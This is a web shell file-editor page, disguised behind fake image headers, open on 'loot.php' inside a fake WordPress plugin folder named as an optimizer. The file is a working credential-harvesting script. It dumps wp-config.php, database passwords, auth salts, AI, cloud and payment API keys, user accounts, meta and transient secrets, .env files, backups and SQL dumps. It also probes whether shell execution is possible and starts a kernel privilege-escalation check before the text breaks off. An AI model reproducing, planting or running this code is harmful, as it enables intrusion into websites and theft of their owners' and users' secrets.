�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fresonanz.santi.wien%2F'>resonanz.santi.wien</a>/<a href='?path=%2Fbig%2Fweb%2Fresonanz.santi.wien%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fresonanz.santi.wien%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Fresonanz.santi.wien%2Fhtdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fbig%2Fweb%2Fresonanz.santi.wien%2Fhtdocs%2Fwp-content%2Fplugins%2Fwp-optimizer-7c8cf9a849%2F'>wp-optimizer-7c8cf9a849</a>/</p><hr><h3>✏️ Editing: loot.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
if (!hash_equals(&#039;8ce9e4fcf3fc44badb53105e774d005d&#039;, (string)($_GET[&#039;t&#039;] ?? &#039;&#039;))) { http_response_code(404); exit; }
error_reporting(0);
@ini_set(&#039;display_errors&#039;,0);
@set_time_limit(90);
ob_start();

$w2s_page = isset($w2s_page)?(int)$w2s_page:(int)($_GET[&#039;page&#039;]??0);
$w2s_per  = isset($w2s_per)?(int)$w2s_per:(int)($_GET[&#039;per&#039;]??400);
if($w2s_page&lt;0)$w2s_page=0;
if($w2s_per&lt;1||$w2s_per&gt;2000)$w2s_per=400;

$o=array(&#039;config_path&#039;=&gt;null,&#039;config&#039;=&gt;null,&#039;options&#039;=&gt;null,&#039;options_meta&#039;=&gt;null,&#039;options_total&#039;=&gt;null,&#039;users&#039;=&gt;null,&#039;db_via&#039;=&gt;null);
$w2s_done=false;
function _r($d){echo &#039;W2S::&#039;.json_encode($d,defined(&#039;JSON_INVALID_UTF8_SUBSTITUTE&#039;)?JSON_INVALID_UTF8_SUBSTITUTE:0).&#039;::END&#039;;@ob_flush();@flush();}
function w2s_val($v){
 $enc=null;
 if(is_string($v)){
  for($i=0;$i&lt;3&amp;&amp;is_string($v);$i++){
   if(!preg_match(&#039;/^(a|O|s|S|i|d|b|N)(:\d+)?[:;{]/&#039;,$v))break;
   $u=@unserialize($v);
   if($u===false&amp;&amp;$v!==&#039;b:0;&#039;)break;
   $v=$u;$enc=$enc?:&#039;php_ser&#039;;
  }
  if(is_string($v)&amp;&amp;strlen($v)&gt;=32&amp;&amp;strlen($v)%4===0&amp;&amp;preg_match(&#039;/^[A-Za-z0-9+\/]+={0,2}$/&#039;,$v)){
   $d=@base64_decode($v,true);
   if($d!==false&amp;&amp;$d!==&#039;&#039;&amp;&amp;!preg_match(&#039;/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f\x80-\xff]/&#039;,$d)){$v=$d;$enc=$enc?$enc.&#039;+b64&#039;:&#039;b64&#039;;}
  }
 }
 return array($v,$enc);
}
register_shutdown_function(function()use(&amp;$o,&amp;$w2s_done){if(!$w2s_done)_r($o);});

function w2sl_up($start,$file){$d=$start;for($i=0;$i&lt;7;$i++){if(@is_file($d.&#039;/&#039;.$file))return $d.&#039;/&#039;.$file;$p=dirname($d);if($p===$d)break;$d=$p;}return null;}
$cfgp=null;
if(defined(&#039;ABSPATH&#039;))foreach(array(ABSPATH.&#039;wp-config.php&#039;,dirname(ABSPATH).&#039;/wp-config.php&#039;)as$c){if(@is_file($c)){$cfgp=$c;break;}}
if(!$cfgp)$cfgp=w2sl_up(__DIR__,&#039;wp-config.php&#039;);
$cfg=$cfgp?@file_get_contents($cfgp):null;
if(is_string($cfg)&amp;&amp;strlen($cfg)&gt;262144)$cfg=substr($cfg,0,262144);
$o[&#039;config_path&#039;]=$cfgp;
$o[&#039;config&#039;]=$cfg;

if(!defined(&#039;ABSPATH&#039;)){
 $d=__DIR__;
 for($i=0;$i&lt;6&amp;&amp;!defined(&#039;ABSPATH&#039;);$i++){
  foreach(array(&quot;$d/wp-load.php&quot;,&quot;$d/wp/wp-load.php&quot;,dirname($d).&quot;/wp-load.php&quot;)as$p)
   if(@file_exists($p)){@require_once $p;break 2;}
  $d=dirname($d);
 }
}

$S=array();
foreach(array(&#039;DB_PASSWORD&#039;,&#039;DB_USER&#039;,&#039;DB_NAME&#039;,&#039;DB_HOST&#039;,&#039;AUTH_KEY&#039;,&#039;AUTH_SALT&#039;,
 &#039;SECURE_AUTH_KEY&#039;,&#039;SECURE_AUTH_SALT&#039;,&#039;LOGGED_IN_KEY&#039;,&#039;LOGGED_IN_SALT&#039;,&#039;NONCE_KEY&#039;,&#039;NONCE_SALT&#039;,
 &#039;FTP_HOST&#039;,&#039;FTP_USER&#039;,&#039;FTP_PASS&#039;,&#039;OPENAI_API_KEY&#039;,&#039;ANTHROPIC_API_KEY&#039;,&#039;GOOGLE_API_KEY&#039;,
 &#039;GEMINI_API_KEY&#039;,&#039;GROQ_API_KEY&#039;,&#039;PERPLEXITY_API_KEY&#039;,&#039;XAI_API_KEY&#039;,&#039;HUGGINGFACE_API_KEY&#039;,
 &#039;STRIPE_SECRET_KEY&#039;,&#039;STRIPE_WEBHOOK_SECRET&#039;,&#039;AWS_ACCESS_KEY_ID&#039;,&#039;AWS_SECRET_ACCESS_KEY&#039;,
 &#039;MAILGUN_API_KEY&#039;,&#039;SENDGRID_API_KEY&#039;,&#039;TWILIO_AUTH_TOKEN&#039;,&#039;PAYPAL_CLIENT_SECRET&#039;)as$c)
 if(defined($c)){$v=@constant($c);if(is_string($v))$S[$c]=$v;}

global $wpdb,$wp_version;
$W=(isset($wpdb)&amp;&amp;$wpdb)?$wpdb:null;
$_trans=&quot;option_name NOT LIKE &#039;_transient%&#039; AND option_name NOT LIKE &#039;_site_transient%&#039;&quot;;

// secret patterns for meta/custom-table sweeps (value side)
function w2s_valish($v){
 if(!is_string($v)||strlen($v)&lt;12)return false;
 return (bool)preg_match(&#039;/\bsk-[a-z0-9_-]{16,}|AIza[0-9A-Za-z_\\-]{35}|\bgsk_[A-Za-z0-9]{16,}|\bpplx-[A-Za-z0-9]{16,}|\bxai-[A-Za-z0-9]{16,}|\bhf_[A-Za-z0-9]{16,}|\bsk_live_[A-Za-z0-9]{12,}|\brk_live_[A-Za-z0-9]{12,}|\bwhsec_[A-Za-z0-9]{12,}|\bxox[baprs]-[A-Za-z0-9-]{10,}|-----BEGIN [A-Z ]+PRIVATE KEY|\bpcsk_[A-Za-z0-9_]{20,}|\bwpmcp_[a-f0-9]{8}|\bSG\\.[A-Za-z0-9_-]{16,}|\bkey-[a-f0-9]{32}|\b[a-f0-9]{32}-us[0-9]{1,2}/&#039;,$v);
}
function w2s_keyish($k){
 return (bool)preg_match(&#039;/(_key$|_keys$|api_?key|secret|_token$|token_(hash|prefix|secret|key)|passw|_pass$|_salt$|salts$|credential|private_?key|client_?secret|access_?token|refresh_?token|auth_?token|jwt_?|oauth|license_?key|webhook_?secret|signing_?key|encryption_?key|app_?secret|consumer_?secret|smtp_?pass|mail_?pass|db_?pass|ftp_?pass)/i&#039;,$k);
}
function w2s_junkkey($k){
 return (bool)preg_match(&#039;/(heading|title|desc|content|text|_items|field_|attachment|image|video|mp4|_file|_url|_link|seo|keyword|focus|akismet|comment|spam|notice|_mail\d*$)/i&#039;,$k);
}

if($W){
 $o[&#039;db_via&#039;]=&#039;wpdb&#039;;
 $o[&#039;options_total&#039;]=(int)@$W-&gt;get_var(&quot;SELECT COUNT(*) FROM `$W-&gt;options` WHERE $_trans&quot;);
 $_rows=@$W-&gt;get_results(&quot;SELECT option_name,option_value FROM `$W-&gt;options` WHERE $_trans ORDER BY option_id LIMIT &quot;.($w2s_page*$w2s_per).&quot;, $w2s_per&quot;,ARRAY_A);
 if(is_array($_rows)){$O=array();$M=array();foreach($_rows as$r){list($nv,$ne)=w2s_val($r[&#039;option_value&#039;]);$O[$r[&#039;option_name&#039;]]=$nv;if($ne)$M[$r[&#039;option_name&#039;]]=$ne;}$o[&#039;options&#039;]=$O;if($M)$o[&#039;options_meta&#039;]=$M;}

 if($w2s_page===0){
  $U=array();$capkey=$W-&gt;prefix.&#039;capabilities&#039;;
  $_us=@$W-&gt;get_results(&quot;SELECT u.ID,u.user_login,u.user_email,u.user_registered,m.meta_value AS caps FROM `$W-&gt;users` u LEFT JOIN `$W-&gt;usermeta` m ON m.user_id=u.ID AND m.meta_key=&#039;$capkey&#039; ORDER BY u.ID LIMIT 500&quot;,ARRAY_A);
  if(is_array($_us))foreach($_us as$u){
   $role=null;
   if($u[&#039;caps&#039;]){$d2=@unserialize($u[&#039;caps&#039;]);if(is_array($d2))$role=array_keys($d2);}
   $U[]=array(&#039;id&#039;=&gt;$u[&#039;ID&#039;],&#039;user_login&#039;=&gt;$u[&#039;user_login&#039;],&#039;user_email&#039;=&gt;$u[&#039;user_email&#039;],&#039;user_registered&#039;=&gt;$u[&#039;user_registered&#039;],&#039;role&#039;=&gt;$role);
  }
  $o[&#039;users&#039;]=$U;

  $_df=array_map(&#039;trim&#039;,explode(&#039;,&#039;,@ini_get(&#039;disable_functions&#039;)?:&#039;&#039;));
  $E=false;
  foreach(array(&#039;shell_exec&#039;,&#039;exec&#039;,&#039;system&#039;,&#039;passthru&#039;,&#039;proc_open&#039;,&#039;popen&#039;)as$f)
   if(function_exists($f)&amp;&amp;!in_array($f,$_df)){$E=true;break;}
  $ud=function_exists(&#039;wp_upload_dir&#039;)?wp_upload_dir():array(&#039;path&#039;=&gt;&#039;&#039;);
  $_upath=isset($ud[&#039;path&#039;])?$ud[&#039;path&#039;]:&#039;&#039;;
  $o[&#039;host&#039;]=array(
   &#039;php_version&#039;=&gt;PHP_VERSION,&#039;sapi&#039;=&gt;php_sapi_name(),
   &#039;uname&#039;=&gt;function_exists(&#039;php_uname&#039;)?@php_uname():&#039;&#039;,
   &#039;server&#039;=&gt;$_SERVER[&#039;SERVER_SOFTWARE&#039;]??&#039;&#039;,
   &#039;ip&#039;=&gt;$_SERVER[&#039;SERVER_ADDR&#039;]??&#039;&#039;,
   &#039;docroot&#039;=&gt;$_SERVER[&#039;DOCUMENT_ROOT&#039;]??&#039;&#039;,
   &#039;open_basedir&#039;=&gt;@ini_get(&#039;open_basedir&#039;)?:&#039;&#039;,
   &#039;disabled&#039;=&gt;@ini_get(&#039;disable_functions&#039;)?:&#039;&#039;,
   &#039;exts&#039;=&gt;@get_loaded_extensions()?:array(),
   &#039;can_exec&#039;=&gt;$E,&#039;upload_dir&#039;=&gt;$_upath,
   &#039;upload_writable&#039;=&gt;$_upath?@is_writable($_upath):false,
  );

  $_opt=function($n)use($W){return @$W-&gt;get_var(&quot;SELECT option_value FROM `$W-&gt;options` WHERE option_name=&#039;$n&#039; LIMIT 1&quot;);};
  $_ap=$_opt(&#039;active_plugins&#039;);
  $o[&#039;wp&#039;]=array(
   &#039;version&#039;=&gt;$wp_version??&#039;&#039;,
   &#039;is_multisite&#039;=&gt;function_exists(&#039;is_multisite&#039;)?is_multisite():false,
   &#039;table_prefix&#039;=&gt;$W-&gt;prefix??&#039;&#039;,
   &#039;blogname&#039;=&gt;$_opt(&#039;blogname&#039;)?:&#039;&#039;,
   &#039;blogdescription&#039;=&gt;$_opt(&#039;blogdescription&#039;)?:&#039;&#039;,
   &#039;siteurl&#039;=&gt;$_opt(&#039;siteurl&#039;)?:&#039;&#039;,
   &#039;home&#039;=&gt;$_opt(&#039;home&#039;)?:&#039;&#039;,
   &#039;admin_email&#039;=&gt;$_opt(&#039;admin_email&#039;)?:&#039;&#039;,
   &#039;permalink&#039;=&gt;$_opt(&#039;permalink_structure&#039;)?:&#039;&#039;,
   &#039;wp_debug&#039;=&gt;defined(&#039;WP_DEBUG&#039;)?WP_DEBUG:false,
   &#039;disallow_file_mods&#039;=&gt;defined(&#039;DISALLOW_FILE_MODS&#039;)?DISALLOW_FILE_MODS:false,
   &#039;disallow_file_edit&#039;=&gt;defined(&#039;DISALLOW_FILE_EDIT&#039;)?DISALLOW_FILE_EDIT:false,
   &#039;db_version&#039;=&gt;method_exists($W,&#039;db_version&#039;)?$W-&gt;db_version():&#039;&#039;,
  );
  $o[&#039;plugins&#039;]=is_string($_ap)?@unserialize($_ap):null;
  $t=function_exists(&#039;wp_get_theme&#039;)?wp_get_theme():null;
  $o[&#039;theme&#039;]=$t?array(&#039;name&#039;=&gt;$t-&gt;get(&#039;Name&#039;),&#039;version&#039;=&gt;$t-&gt;get(&#039;Version&#039;),&#039;template&#039;=&gt;$t-&gt;get_template()):null;
  $cu=function_exists(&#039;wp_get_current_user&#039;)?wp_get_current_user():null;
  $o[&#039;priv&#039;]=array(
   &#039;user_login&#039;=&gt;$cu?$cu-&gt;user_login:&#039;&#039;,
   &#039;role&#039;=&gt;$cu?$cu-&gt;roles:array(),
   &#039;is_admin&#039;=&gt;function_exists(&#039;current_user_can&#039;)?@current_user_can(&#039;manage_options&#039;):false,
  );
 }
}elseif(is_string($cfg)&amp;&amp;function_exists(&#039;mysqli_connect&#039;)){
 $q=chr(39);
 $def=function($k,$c)use($q){
  if(preg_match(&#039;/&#039;.$k.$q.&#039;.*?&#039;.$q.&#039;([^&#039;.$q.&#039;]+)&#039;.$q.&#039;/&#039;,$c,$m))return $m[1];
  if(preg_match(&#039;/&#039;.$k.$q.&#039;\s*,\s*([A-Z_][A-Z0-9_]*)\s*\)/&#039;,$c,$m)&amp;&amp;defined($m[1])){$v=constant($m[1]);return is_string($v)?$v:&#039;&#039;;}
  if(preg_match(&#039;/WORDPRESS_&#039;.$k.$q.&#039;\s*,\s*&#039;.$q.&#039;([^&#039;.$q.&#039;]*)&#039;.$q.&#039;/&#039;,$c,$m)){
   $ev=getenv(&#039;WORDPRESS_&#039;.$k);if(is_string($ev)&amp;&amp;$ev!==&#039;&#039;)return $ev;return $m[1];}
  $ev=getenv(&#039;WORDPRESS_&#039;.$k);if(is_string($ev)&amp;&amp;$ev!==&#039;&#039;)return $ev;
  return &#039;&#039;;};
 $pfx=&#039;wp_&#039;;
 if(preg_match(&#039;/table_prefix\s*=\s*&#039;.$q.&#039;([^&#039;.$q.&#039;]+)&#039;.$q.&#039;/&#039;,$cfg,$m))$pfx=$m[1];
 elseif(preg_match(&#039;/WORDPRESS_TABLE_PREFIX&#039;.$q.&#039;\s*,\s*&#039;.$q.&#039;([^&#039;.$q.&#039;]*)&#039;.$q.&#039;/&#039;,$cfg,$m)){
  $ev=getenv(&#039;WORDPRESS_TABLE_PREFIX&#039;);$pfx=(is_string($ev)&amp;&amp;$ev!==&#039;&#039;)?$ev:$m[1];}
 $h=$def(&#039;DB_HOST&#039;,$cfg);$po=3306;
 if(strpos($h,&#039;:&#039;)!==false){$hp=explode(&#039;:&#039;,$h);$h=$hp[0];if(ctype_digit(end($hp)))$po=(int)end($hp);}
 $mc=null;try{$mc=mysqli_connect($h,$def(&#039;DB_USER&#039;,$cfg),$def(&#039;DB_PASSWORD&#039;,$cfg),$def(&#039;DB_NAME&#039;,$cfg),$po);}catch(\Throwable $e){}
 if($mc){
  $o[&#039;db_via&#039;]=&#039;mysqli&#039;;
  $rq=function($q2)use($mc){$r=@mysqli_query($mc,$q2);$a=array();if($r){while($row=mysqli_fetch_row($r))$a[]=$row;}return $a;};
  $ct=$rq(&quot;SELECT COUNT(*) FROM {$pfx}options WHERE $_trans&quot;);
  $o[&#039;options_total&#039;]=isset($ct[0][0])?(int)$ct[0][0]:null;
  $rows=$rq(&quot;SELECT option_name,option_value FROM {$pfx}options WHERE $_trans ORDER BY option_id LIMIT &quot;.($w2s_page*$w2s_per).&quot;, $w2s_per&quot;);
  if($rows){$O=array();$M=array();foreach($rows as$r){list($nv,$ne)=w2s_val($r[1]);$O[$r[0]]=$nv;if($ne)$M[$r[0]]=$ne;}$o[&#039;options&#039;]=$O;if($M)$o[&#039;options_meta&#039;]=$M;}
  if($w2s_page===0){
   $ur=$rq(&quot;SELECT ID,user_login,user_email,user_registered FROM {$pfx}users ORDER BY ID LIMIT 500&quot;);
   if($ur){$U=array();foreach($ur as$r){$U[]=array(&#039;id&#039;=&gt;$r[0],&#039;user_login&#039;=&gt;$r[1],&#039;user_email&#039;=&gt;$r[2],&#039;user_registered&#039;=&gt;$r[3],&#039;role&#039;=&gt;null);}$o[&#039;users&#039;]=$U;}
   $o[&#039;host&#039;]=array(&#039;php_version&#039;=&gt;PHP_VERSION,&#039;sapi&#039;=&gt;php_sapi_name(),
    &#039;uname&#039;=&gt;function_exists(&#039;php_uname&#039;)?@php_uname():&#039;&#039;,
    &#039;server&#039;=&gt;$_SERVER[&#039;SERVER_SOFTWARE&#039;]??&#039;&#039;,&#039;docroot&#039;=&gt;$_SERVER[&#039;DOCUMENT_ROOT&#039;]??&#039;&#039;,
    &#039;note&#039;=&gt;&#039;wp-bootstrap-failed: degraded recon via mysqli&#039;);
  }
 }
}

if($o[&#039;options&#039;]===null&amp;&amp;$o[&#039;db_via&#039;]===null)
 $o[&#039;error&#039;]=defined(&#039;ABSPATH&#039;)?&#039;wpdb-not-initialized&#039;:&#039;wp-load-not-found&#039;;
if($S)$o[&#039;secrets&#039;]=$S;

if($w2s_page&gt;0){$w2s_done=true;_r($o);return;}
_r($o);
if($o[&#039;db_via&#039;]!==&#039;wpdb&#039;){$w2s_done=true;return;}

// ── META STORES SWEEP ──
$MT=array();
$_pm=@$W-&gt;get_results(&quot;SELECT meta_key,meta_value FROM `$W-&gt;postmeta` WHERE meta_value IS NOT NULL AND meta_value!=&#039;&#039; ORDER BY meta_id DESC LIMIT 4000&quot;,ARRAY_A);
if(is_array($_pm)){foreach($_pm as$r){if(w2s_junkkey($r[&#039;meta_key&#039;]))continue;if(w2s_keyish($r[&#039;meta_key&#039;])||w2s_valish($r[&#039;meta_value&#039;])){list($nv,$ne)=w2s_val($r[&#039;meta_value&#039;]);$MT[&#039;postmeta&#039;][$r[&#039;meta_key&#039;]]=array(&#039;v&#039;=&gt;$nv);if($ne)$MT[&#039;postmeta&#039;][$r[&#039;meta_key&#039;]][&#039;e&#039;]=$ne;}}}
$_um=@$W-&gt;get_results(&quot;SELECT meta_key,meta_value FROM `$W-&gt;usermeta` WHERE meta_value IS NOT NULL AND meta_value!=&#039;&#039; AND (meta_key LIKE &#039;%key%&#039; OR meta_key LIKE &#039;%secret%&#039; OR meta_key LIKE &#039;%token%&#039; OR meta_key LIKE &#039;%api%&#039; OR meta_key LIKE &#039;%pass%&#039; OR meta_key LIKE &#039;%auth%&#039; OR meta_key LIKE &#039;%salt%&#039; OR meta_key LIKE &#039;%credential%&#039;) ORDER BY meta_id DESC LIMIT 2000&quot;,ARRAY_A);
if(is_array($_um)){foreach($_um as$r){if(w2s_junkkey($r[&#039;meta_key&#039;]))continue;list($nv,$ne)=w2s_val($r[&#039;meta_value&#039;]);if(w2s_keyish($r[&#039;meta_key&#039;])||w2s_valish(is_string($nv)?$nv:&#039;&#039;)){$MT[&#039;usermeta&#039;][$r[&#039;meta_key&#039;]]=array(&#039;v&#039;=&gt;$nv);if($ne)$MT[&#039;usermeta&#039;][$r[&#039;meta_key&#039;]][&#039;e&#039;]=$ne;}}}
$_tm=@$W-&gt;get_results(&quot;SELECT meta_key,meta_value FROM `$W-&gt;termmeta` WHERE meta_value IS NOT NULL AND meta_value!=&#039;&#039; ORDER BY meta_id DESC LIMIT 1500&quot;,ARRAY_A);
if(is_array($_tm)){foreach($_tm as$r){if(w2s_junkkey($r[&#039;meta_key&#039;]))continue;if(w2s_keyish($r[&#039;meta_key&#039;])||w2s_valish($r[&#039;meta_value&#039;])){list($nv,$ne)=w2s_val($r[&#039;meta_value&#039;]);$MT[&#039;termmeta&#039;][$r[&#039;meta_key&#039;]]=array(&#039;v&#039;=&gt;$nv);if($ne)$MT[&#039;termmeta&#039;][$r[&#039;meta_key&#039;]][&#039;e&#039;]=$ne;}}}
if(isset($W-&gt;commentmeta)){$_cm=@$W-&gt;get_results(&quot;SELECT meta_key,meta_value FROM `$W-&gt;commentmeta` WHERE meta_value IS NOT NULL AND meta_value!=&#039;&#039; ORDER BY meta_id DESC LIMIT 1500&quot;,ARRAY_A);
if(is_array($_cm)){foreach($_cm as$r){if(w2s_junkkey($r[&#039;meta_key&#039;]))continue;if(preg_match(&#039;/(api_?key|secret_?key|private_?key|access_?token)/i&#039;,$r[&#039;meta_key&#039;])){list($nv,$ne)=w2s_val($r[&#039;meta_value&#039;]);$MT[&#039;commentmeta&#039;][$r[&#039;meta_key&#039;]]=array(&#039;v&#039;=&gt;$nv);if($ne)$MT[&#039;commentmeta&#039;][$r[&#039;meta_key&#039;]][&#039;e&#039;]=$ne;}}}}
if($MT)$o[&#039;meta_secrets&#039;]=$MT;

// ── SITEMETA (multisite network options) ──
if(function_exists(&#039;is_multisite&#039;)&amp;&amp;is_multisite()&amp;&amp;isset($W-&gt;sitemeta)){
 $_sm=@$W-&gt;get_results(&quot;SELECT meta_key,meta_value FROM `$W-&gt;sitemeta` WHERE meta_value IS NOT NULL AND meta_value!=&#039;&#039; ORDER BY meta_id DESC LIMIT 2000&quot;,ARRAY_A);
 if(is_array($_sm)){$SM=array();foreach($_sm as$r){if(w2s_keyish($r[&#039;meta_key&#039;])||w2s_valish($r[&#039;meta_value&#039;])){list($nv,$ne)=w2s_val($r[&#039;meta_value&#039;]);$SM[$r[&#039;meta_key&#039;]]=array(&#039;v&#039;=&gt;$nv);if($ne)$SM[$r[&#039;meta_key&#039;]][&#039;e&#039;]=$ne;}}
 if($SM)$o[&#039;sitemeta_secrets&#039;]=$SM;}
}

// ── CUSTOM TABLES (AI plugins + generic secret-holding tables) ──
$_tabs=@$W-&gt;get_col(&quot;SHOW TABLES&quot;);
if(is_array($_tabs)){
 $CT=array();
 foreach($_tabs as$t){
  $tl=strtolower($t);
  if(preg_match(&#039;/(options|posts|postmeta|users|usermeta|terms|termmeta|term_taxonomy|term_relationships|comments|commentmeta|links|sitemeta|blogs|blogmeta|site|registration_log|signups|blog_versions)$/&#039;,$tl))continue;
  if(!preg_match(&#039;/mwai|aipkit|kubio|_mcp_|gpt_|openai|chatbot|woocommerce_api_keys|automator|n8n|zapier|webhook|connectors|llm|anthropic|gemini_|claude_|copilot|vector|_ai_|embed_ai|aichat|getgenie|ai_power|wp_automatic|taxopress|link_whisper/i&#039;,$tl))continue;
  $cols=@$W-&gt;get_col(&quot;SHOW COLUMNS FROM `$t`&quot;);
  if(!is_array($cols))continue;
  $sel=array();
  foreach($cols as$c)if(preg_match(&#039;/key|secret|token|pass|api|auth|salt|cred|value|setting|config|env|license/i&#039;,$c))$sel[]=$c;
  if(!$sel)$sel=array_slice($cols,0,6);
  $rows=@$W-&gt;get_results(&quot;SELECT `&quot;.implode(&#039;`,`&#039;,$sel).&quot;` FROM `$t` ORDER BY 1 DESC LIMIT 60&quot;,ARRAY_A);
  if(is_array($rows)&amp;&amp;$rows){
   $hit=array();
   foreach($rows as$rw){
    $keep=false;
    foreach($rw as$k=&gt;$v){if(w2s_keyish($k)||w2s_valish((string)$v)){$keep=true;break;}}
    if($keep){foreach($rw as$k=&gt;$v){if(is_string($v)){list($nv,$ne)=w2s_val($v);$rw[$k]=$nv;}}$hit[]=$rw;}
   }
   if($hit)$CT[$t]=array_slice($hit,0,40);
  }
 }
 if($CT)$o[&#039;custom_tables&#039;]=$CT;
}

// ── TARGETED TRANSIENT SWEEP (vault DEKs + key-abusing plugins) ──
// Transients are excluded from the main options dump; most are cache junk.
// But vault plugins (Kagivault) stash data-encryption keys in short-lived
// transients, and some plugins store real keys in them. Sweep transients
// whose NAME or VALUE matches secret patterns only.
$_tr=@$W-&gt;get_results(&quot;SELECT option_name,option_value FROM `$W-&gt;options` WHERE (option_name LIKE &#039;_transient_%&#039; OR option_name LIKE &#039;_site_transient_%&#039;) AND option_value IS NOT NULL AND option_value!=&#039;&#039; ORDER BY option_id DESC LIMIT 3000&quot;,ARRAY_A);
if(is_array($_tr)){
 $TR=array();
 foreach($_tr as$r){
  $nm=preg_replace(&#039;/^_(site_)?transient(_timeout)?_/&#039;,&#039;&#039;,$r[&#039;option_name&#039;]);
  if(w2s_keyish($nm)||w2s_valish($r[&#039;option_value&#039;])){
   list($nv,$ne)=w2s_val($r[&#039;option_value&#039;]);
   if(w2s_keyish($nm)||w2s_valish(is_string($nv)?$nv:&#039;&#039;)){
    $TR[$nm]=array(&#039;v&#039;=&gt;$nv);if($ne)$TR[$nm][&#039;e&#039;]=$ne;
   }
  }
 }
 if($TR)$o[&#039;transient_secrets&#039;]=$TR;
}

// ── FILESYSTEM HUNT (.env, backups, dumps, configs) ──
$FS=array(&#039;env_files&#039;=&gt;array(),&#039;backups&#039;=&gt;array(),&#039;configs&#039;=&gt;array(),&#039;logs&#039;=&gt;array());
$dr=$_SERVER[&#039;DOCUMENT_ROOT&#039;]??&#039;&#039;;
$roots=array_filter(array($dr,dirname($dr),defined(&#039;ABSPATH&#039;)?ABSPATH:&#039;&#039;,(defined(&#039;ABSPATH&#039;)?dirname(ABSPATH):&#039;&#039;)));
$roots=array_unique(array_filter($roots));
$envnames=array(&#039;.env&#039;,&#039;.env.local&#039;,&#039;.env.production&#039;,&#039;.env.staging&#039;,&#039;.env.development&#039;,&#039;.env.backup&#039;,&#039;wp-config.php.bak&#039;,&#039;wp-config.php.old&#039;,&#039;wp-config.php~&#039;,&#039;wp-config.bak&#039;,&#039;config.php.bak&#039;,&#039;.htpasswd&#039;,&#039;.npmrc&#039;,&#039;.composer-auth.json&#039;,&#039;auth.json&#039;);
foreach($roots as$rt){
 foreach($envnames as$fn){
  $p=$rt.&#039;/&#039;.$fn;
  if(@is_file($p)&amp;&amp;@is_readable($p)){
   $c=@file_get_contents($p);
   if($c!==false){if(strlen($c)&gt;131072)$c=substr($c,0,131072);$FS[&#039;env_files&#039;][$p]=$c;}
  }
 }
 foreach(array(&#039;backup&#039;,&#039;backups&#039;,&#039;_backups&#039;,&#039;wp-backup&#039;,&#039;ai1wm-backups&#039;,&#039;updraft&#039;,&#039;uploads&#039;)as$bd){
  $bdir=$rt.&#039;/&#039;.$bd;
  if(@is_dir($bdir)){
   $hits=@glob($bdir.&#039;/*.{sql,zip,tar,gz,sql.gz,db,dump,bak}&#039;,GLOB_BRACE)?:array();
   foreach(array_slice($hits,0,20)as$f){
    $sz=@filesize($f)?:0;
    $FS[&#039;backups&#039;][]=$f;
    // sniff: small files whole (≤256KB), big SQL dumps → first 64KB header sample
    if($sz&gt;0&amp;&amp;$sz&lt;=262144&amp;&amp;@is_readable($f)){
     $c=@file_get_contents($f);
     if($c!==false&amp;&amp;w2s_valish($c))$FS[&#039;backup_content&#039;][$f]=substr($c,0,65536);
    }elseif($sz&gt;262144&amp;&amp;preg_match(&#039;/\.sql$/i&#039;,$f)&amp;&amp;@is_readable($f)){
     $h=@fopen($f,&#039;r&#039;);
     if($h){$c=fread($h,65536);fclose($h);
      if($c&amp;&amp;w2s_valish($c))$FS[&#039;backup_content&#039;][$f]=array(&#039;size&#039;=&gt;$sz,&#039;head&#039;=&gt;substr($c,0,65536));}
    }
   }
  }
 }
 $cands=@glob($rt.&#039;/*.{json,yml,yaml,ini,toml,cnf,conf}&#039;,GLOB_BRACE)?:array();
 foreach($cands as$f){
  $bl=strtolower(basename($f));
  if(preg_match(&#039;/(config|setting|cred|secret|env|auth|database|wp-config|\.env)/&#039;,$bl)&amp;&amp;@is_readable($f)){
   $c=@file_get_contents($f);
   if($c!==false&amp;&amp;strlen($c)&lt;262144)$FS[&#039;configs&#039;][$f]=$c;
  }
 }
 $lgs=@glob($rt.&#039;/{debug.log,error_log,wp-content/debug.log,logs/*.log}&#039;,GLOB_BRACE)?:array();
 foreach(array_slice($lgs,0,5)as$f)if(@is_readable($f)){$FS[&#039;logs&#039;][$f]=@filesize($f);}
}
$FS=array_filter($FS);
if($FS)$o[&#039;filesystem&#039;]=$FS;

// ── KERNEL ATTACK SURFACE + LPE DECISION MATRIX (detection only) ──
// Probes kernel version/build date, security sysctls, module presence, and
// computes a go/maybe/no verdict for each 2026-H1 LPE. No exploit staging.
function w2s_kparse($rel){if(preg_match(&#039;/^(\d+)\.(\d+)(?:\.(\d+))?/&#039;,$rel,$m))return array((int)$m[1],(int)$m[2],(int)($m[3]??0));return null;}
function w2s_klt($k,$a,$b,$c=0){if(!is_array($k))return null;return($k[0]&lt;$a)||($k[0]===$a&amp;&amp;$k[1]&lt;$b)||($k[0]===$a&amp;&amp;$k[1]===$b&amp;&amp;$k[2]&lt;$c);}
function w2s_kge($k,$a,$b,$c=0){if(!is_array($k))return null;return!w2s_klt($k,$a,$b,$c);}
function w2s_kbdate($v){// parse build date from uname -v, epoch or null
 if(preg_match(&#039;/\((\d{4})-(\d{2})-(\d{2})\)/&#039;,$v,$m))return mktime(0,0,0,(int)$m[2],(int)$m[3],(int)$m[1]); // ISO (Kali, some -ck)
 if(preg_match(&#039;/(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\w*\.?\s+(\d{1,2})[\d\s:]*?(\d{4})/&#039;,$v,$m)){ // SMP &quot;Mon Jul 16 19:22:03 UTC 2026&quot;
